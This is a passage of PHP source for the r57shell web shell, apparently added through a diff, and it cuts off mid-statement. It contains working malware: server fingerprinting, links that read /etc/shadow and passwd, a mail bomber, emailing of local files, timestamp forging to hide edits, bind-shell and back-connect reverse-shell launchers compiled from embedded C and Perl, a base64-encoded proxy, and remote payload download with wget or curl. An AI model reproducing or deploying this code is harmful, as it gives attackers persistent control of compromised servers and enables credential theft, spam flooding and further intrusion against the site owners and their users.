+luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT +0NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE +UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09 +DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS +AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd +GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk +cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1 +BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi +AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK +TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg +eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA +oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG +VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI +CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt +b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN +0ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG +9wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ +CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g +aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw +gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG +9yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0="; +if($unix) + { + if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; } + if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; } + if($safe_mode) { $sysctl = '-'; } + else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; } + else + { + $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease'); + if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); } + if(empty($sysctl)) { $sysctl = '-'; } + setcookie('sysctl',$sysctl); + } + } + +if(!isset($_COOKIE[$lang[$language.'_text137']])) { + $ust_u=''; + if($unix && !$safe_mode){ + foreach ($userful as $item) { + if(which($item)){$ust_u.=$item;} + } + } + if (@function_exists('apache_get_modules') && @in_array('mod_perl',apache_get_modules())) {$ust_u.=", mod_perl";} + if (@function_exists('apache_get_modules') && @in_array('mod_include',apache_get_modules())) {$ust_u.=", mod_include(SSI)";} + if (@function_exists('pcntl_exec')) {$ust_u.=", pcntl_exec";} + if (@extension_loaded('win32std')) {$ust_u.=", win32std_loaded";} + if (@extension_loaded('win32service')) {$ust_u.=", win32service_loaded";} + if (@extension_loaded('ffi')) {$ust_u.=", ffi_loaded";} + if (@extension_loaded('perl')) {$ust_u.=", perl_loaded";} + if(substr($ust_u,0,1)==",") {$ust_u[0]="";} + + $ust_u = trim($ust_u); + setcookie($lang[$language.'_text137'],$ust_u); +}else { + $ust_u = trim($_COOKIE[$lang[$language.'_text137']]); +} + +if(!isset($_COOKIE[$lang[$language.'_text138']])) { + $ust_d=''; + if($unix && !$safe_mode){ + foreach ($danger as $item) { + if(which($item)){$ust_d.=$item;} + } + } + if(!$safe_mode){ + foreach ($danger as $item) { + if(ps($item)){$ust_d.=$item;} + } + } + if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {$ust_d.=", mod_security";} + if(substr($ust_d,0,1)==",") {$ust_d[0]="";} + + $ust_d = trim($ust_d); + setcookie($lang[$language.'_text138'],$ust_d); +}else { + $ust_d = trim($_COOKIE[$lang[$language.'_text138']]); +} + +if(!isset($_COOKIE[$lang[$language.'_text142']])) { + + $select_downloaders='<select size="1" name=with>'; + if((!@function_exists('ini_get')) || (@ini_get('allow_url_fopen') && @function_exists('file'))){$select_downloaders .= "<option value=\"fopen\">fopen</option>";$downloader="fopen";} + if($unix && !$safe_mode){ + foreach ($downloaders as $item) { + if(which($item)){$select_downloaders .= '<option value="'.$item.'">'.$item.'</option>';$downloader.=", $item";} + } + } + $select_downloaders .= '</select>'; + if(substr($downloader,0,1)==",") {$downloader[0]="";} + + $downloader=trim($downloader); + setcookie('select_downloaders',$select_downloaders); + setcookie('downloader',$downloader); +}else { + $select_downloaders = $_COOKIE['select_downloaders']; + $downloader = trim($_COOKIE['downloader']); +} + + +echo $head; +echo '</head>'; + +echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc width=100><font face=Verdana size=2>'. +ws(2).'<b>'.ws(2).'<center>r57shell<br>v.'.$version.'</b><br><br><br></center></font>'. +$fs.'<font face=Verdana size=-2><center>'.$lang[$language.'_text143']."<b>".$tempdir."</b><br>".$select_tempdir.'<br>'.in('submit','submit',0,$lang[$language.'_butt6']). +'</center></font>'.$fe.'</td>'.'<td bgcolor=#cccccc><font face=Verdana size=-2>'; +echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font color=blue>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]"; +echo " X_FORWARDED_FOR:"; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){echo "[<font color=red>".$_SERVER['HTTP_X_FORWARDED_FOR']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";} +echo " CLIENT_IP: ";if(isset($_SERVER['HTTP_CLIENT_IP'])){echo "[<font color=red>".$_SERVER['HTTP_CLIENT_IP']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";} +echo " Server IP: [<font color=blue>".gethostbyname($_SERVER["HTTP_HOST"])."</font>]"; + +echo "<br>"; + +echo ws(2)."PHP version: <b>".@phpversion()."</b>"; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "cURL: <b>".(($curl_on)?("<font color=red>ON</font>"):("<font color=green>OFF</font>")); +echo "</b>".ws(2); +echo "MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=red>ON</font>"; } else { echo "<font color=green>OFF</font>"; } +echo "</b>".ws(2); +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} +echo "</b>".ws(2); +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} +echo "</b>".ws(2); +echo "Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} +echo "</b>".ws(2); +echo "MySQLi: <b>"; +$mysqli_on = @function_exists('mysqli_connect'); +if($mysqli_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} +echo "</b>".ws(2); +echo "mSQL: <b>"; +$msql_on = @function_exists('msql_connect'); +if($msql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} +echo "</b>".ws(2); +echo "SQLite: <b>"; +$sqlite_on = @function_exists('sqlite_open'); +if($sqlite_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} +echo "</b><br>".ws(2); + +echo "Safe_mode: <b>"; +echo (($safe_mode)?("<font color=red>ON</font>"):("<font color=green>OFF</font>")); +echo "</b>".ws(2); +echo "Open_basedir: <b>"; +if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=red>$df</font></b>";};} +else {echo "<font color=green>NONE</font></b>";} +echo ws(2)."Safe_exec_dir: <b>"; +if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};} +else {echo "<font color=red>ini_get disable!</font></b>";} +echo ws(2)."Safe_gid: <b>"; +if(@function_exists('ini_get')) { if (@ini_get('safe_mode_gid')) {echo "<font color=green>ON</font></b>";}else {echo "<font color=red>OFF</font></b>";};} +else {echo "<font color=red>ini_get disable!</font></b>";} +echo ws(2)."Safe_include_dir: <b>"; +if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};} +else {echo "<font color=red>ini_get disable!</font></b>";} +echo ws(2)."Sql.safe_mode: <b>"; +if(@function_exists('ini_get')) { if (@ini_get('sql.safe_mode')) {echo "<font color=red>ON</font></b>";}else {echo "<font color=green>OFF</font></b>";};} +else {echo "<font color=red>ini_get disable!</font></b>";} + +echo "<br>".ws(2); +echo "Disable functions : <b>";$df='ini_get disable!'; +if((@function_exists('ini_get')) && (''==($df=@ini_get('disable_functions')))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} + +if(@function_exists('diskfreespace')){$free = @diskfreespace($dir);} +elseif(@function_exists('disk_free_space')){$free = @disk_free_space($dir);}else{$free = 'Unknown';} +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>"; + + +if($ust_u){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".$ust_u."</font>";}; + +if($ust_d){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>".$ust_d."</font>";}; + +if($downloader){echo "<br>".ws(2).$lang[$language.'_text142'].": <font color=blue>".$downloader."</font>";}; + + +echo "<br>".ws(2)."</b>"; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?1' title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?2' title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?3' title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?4' title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; +if(!$unix) { + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?5' title=\"".$lang[$language.'_text50']."\"><b>systeminfo</b></a> ".$rb; +}else{ + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?6' title=\"View syslog.conf\"><b>syslog</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?7' title=\"View resolv\"><b>resolv</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?8' title=\"View hosts\"><b>hosts</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?9' title=\"View shadow\"><b>shadow</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?10' title=\"".$lang[$language.'_text95']."\"><b>passwd</b></a> ".$rb; +} +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?11' title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?12' title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb; + +if($unix && !$safe_mode) +{ + echo "<br>".ws(2)."</b>"; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?13' title=\"View procinfo\"><b>procinfo</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?14' title=\"View proc version\"><b>version</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?15' title=\"View mem free\"><b>free</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?16' title=\"View dmesg\"><b>dmesg</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?17' title=\"View vmstat\"><b>vmstat</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?18' title=\"View lspci\"><b>lspci</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?19' title=\"View lsdev\"><b>lsdev</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?20' title=\"View interrupts\"><b>interrupts</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?21' title=\"View realise1\"><b>realise1</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?22' title=\"View realise2\"><b>realise2</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?23' title=\"View lsattr -va\"><b>lsattr</b></a> ".$rb; + + echo "<br>".ws(2)."</b>"; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?24' title=\"View w\"><b>w</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?25' title=\"View who\"><b>who</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?26' title=\"View uptime\"><b>uptime</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?27' title=\"View last -n 10\"><b>last</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?28' title=\"View ps -aux\"><b>ps aux</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?29' title=\"View service\"><b>service</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?30' title=\"View ifconfig\"><b>ifconfig</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?31' title=\"View netstat -a\"><b>netstat</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?32' title=\"View fstab\"><b>fstab</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?33' title=\"View fdisk -l\"><b>fdisk</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?34' title=\"View df -h\"><b>df -h</b></a> ".$rb; +} + +echo '</font></td></tr><table> +<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td align=right width=100>'; +echo $font; + +if($unix){ +echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); +echo ws(3).$sysctl."<br>"; +echo ws(3).ex('echo $OSTYPE')."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +if(!empty($id)) { echo ws(3).$id."<br>"; } +else if(@function_exists('posix_geteuid') && @function_exists('posix_getegid') && @function_exists('posix_getgrgid') && @function_exists('posix_getpwuid')) + { + $euserinfo = @posix_getpwuid(@posix_geteuid()); + $egroupinfo = @posix_getgrgid(@posix_getegid()); + echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>'; + } +else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>"; +echo ws(3).$dir; +echo ws(3).'( '.perms(@fileperms($dir)).' )'; +echo "</b></font>"; +} +else +{ +echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo ws(3).@substr(@php_uname(),0,120)."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +echo ws(3).@getenv("USERNAME")."<br>"; +echo ws(3).$dir; +echo "<br></font>"; +} +echo "</font>"; +echo "</td></tr></table>"; + +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail") + { + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n"); + err(6+$res); + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) + { + if($file=moreread($_POST['loc_file'])){ $filedump = $file; } + else if ($file=readzlib($_POST['loc_file'])) { $filedump = $file; } else { err(1,$_POST['loc_file']); $_POST['cmd']=""; } + if(!empty($_POST['cmd'])) + { + $filename = @basename($_POST['loc_file']); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + $attach = array( + "name"=>$filename, + "type"=>$mime_type, + "content"=>$filedump + ); + if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; } + if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; } + $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); + err(6+$res); + $_POST['cmd']=""; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_bomber" && !empty($_POST['mail_flood']) && !empty($_POST['mail_size'])) + { + for($h=1;$h<=$_POST['mail_flood'];$h++){ + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ", 1024*$_POST['mail_size']),"From: ".$_POST['from']."\r\n"); + } + err(6+$res); + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(@file_exists($_POST['mk_name']) || !morewrite($_POST['mk_name'],'your text here')) { err(2,$_POST['mk_name']); $_POST['cmd']=""; } + else { + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; + } + } + else if($_POST['action'] == "delete") + { + if(@unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(@mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; + } + else { err(2,$_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + } + } + + +if(!empty($_POST['cmd']) && $_POST['cmd']=="touch") +{ +if(!$_POST['file_name_r']) + { + $datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds"; + $datar = @strtotime($datar); + @touch($_POST['file_name'],$datar,$datar);} +else{ + @touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['file_name_r'])); +} +$_POST['cmd']=""; +} + + +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) + { + if(@is_dir($_POST['e_name'])){ err(1,$_POST['e_name']); $_POST['cmd']=""; } + elseif($file=moreread($_POST['e_name'])) { $filedump = $file; if(!@is_writable($_POST['e_name'])) { $only_read = 1; }; } + elseif($file=readzlib($_POST['e_name'])) { $filedump = $file; $only_read = 1; } + elseif(@file_exists($_POST['e_name'])) {$filedump = 'NONE'; if(!@is_writable($_POST['e_name'])) { $only_read = 1; };} + else { err(1,$_POST['e_name']); $_POST['cmd']=""; } + if(!empty($_POST['cmd'])) + { + echo $table_up3; + echo $font; + echo "<form name=save_file method=post>"; + echo ws(3)."<b>".$_POST['e_name']."</b>"; + echo "<div align=center><textarea name=e_text cols=121 rows=24>"; + echo @htmlspecialchars($filedump); + echo "</textarea>"; + echo "<input type=hidden name=e_name value='".$_POST['e_name']."'>"; + echo "<input type=hidden name=dir value='".$dir."'>"; + echo "<input type=hidden name=cmd value=save_file>"; + echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); + echo "</div>"; + echo "</font>"; + echo "</form>"; + echo "</td></tr></table>"; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + $mtime = @filemtime($_POST['e_name']); + if(!@is_writable($_POST['e_name'])) { err(0,$_POST['e_name']); } + else { + if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']); + morewrite($_POST['e_name'],$_POST['e_text']); + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; + } + @touch($_POST['e_name'],$mtime,$mtime); + } + + +if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl")) +{ + cf($tempdir.'prxpl',$prx_pl); + $p2=which("perl"); + $blah = ex($p2.' '.$tempdir.'prxpl '.$_POST['proxy_port'].' &'); + @unlink($tempdir.'prxpl'); + $_POST['cmd']="ps -aux | grep prxpl"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf($tempdir.'bd.c',$port_bind_bd_c); + $blah = ex('gcc -o '.$tempdir.'bd '.$tempdir.'bd.c'); + @unlink($tempdir.'bd.c'); + $blah = ex($tempdir.'bd '.$_POST['port'].' '.$_POST['bind_pass'].' &'); + @unlink($tempdir.'bd'); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf($tempdir.'bdpl',$port_bind_bd_pl); + $p2=which("perl"); + $blah = ex($p2.' '.$tempdir.'bdpl '.$_POST['port'].' &'); + @unlink($tempdir.'bdpl'); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf($tempdir.'back',$back_connect); + $p2=which("perl"); + $blah = ex($p2.' '.$tempdir.'back '.$_POST['ip'].' '.$_POST['port'].' &'); + @unlink($tempdir.'back'); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf($tempdir.'back.c',$back_connect_c); + $blah = ex('gcc -o '.$tempdir.'backc '.$tempdir.'back.c'); + @unlink($tempdir.'back.c'); + $blah = ex($tempdir.'backc '.$_POST['ip'].' '.$_POST['port'].' &'); + @unlink($tempdir.'back'); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf($tempdir.'dp',$datapipe_pl); + $p2=which("perl"); + $blah = ex($p2.' '.$tempdir.'dp '.$_POST['local_port'].' '.$_POST['remote_host'].' '.$_POST['remote_port'].' &'); + @unlink($tempdir.'dp'); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf($tempdir.'dpc.c',$datapipe_c); + $blah = ex('gcc -o '.$tempdir.'dpc '.$tempdir.'dpc.c'); + @unlink($tempdir.'dpc.c'); + $blah = ex($tempdir.'dpc '.$_POST['local_port'].' '.$_POST['remote_port'].' '.$_POST['remote_host'].' &'); + @unlink($tempdir.'dpc'); + $_POST['cmd']="ps -aux | grep dpc"; +} + +if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; } + +for($upl=0;$upl<=16;$upl++) +{ + if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){ + if(!empty($_POST['new_name']) && ($upl==0)) { $nfn = $_POST['new_name']; } + else { $nfn = $HTTP_POST_FILES['userfile'.$upl]['name']; } + @move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn) + or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>"); + } +} + +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case 'fopen': + $datafile = @implode("", @file($_POST['rem_file'])); + if($datafile) + { + if(!morewrite($_POST['loc_file'],$datafile)){ err(0);}; + } + + $_POST['cmd'] = ''; + break; + case 'wget': + $_POST['cmd'] = which('wget')." \"".$_POST['rem_file']."\" -O \"".$_POST['loc_file']."\""; + break; + case 'fetch': + $_POST['cmd'] = which('fetch')." -p \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\""; + break; + case 'lynx': + $_POST['cmd'] = which('lynx')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\""; + break; + case 'links': + $_POST['cmd'] = which('links')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\""; + break; + case 'GET': + $_POST['cmd'] = which('GET')." \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\""; + break; + case 'curl': + $_POST['cmd'] = which('curl')." \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\""; + break; + } +} +if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_file_up") || ($_POST['cmd']=="ftp_file_down"))) + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = 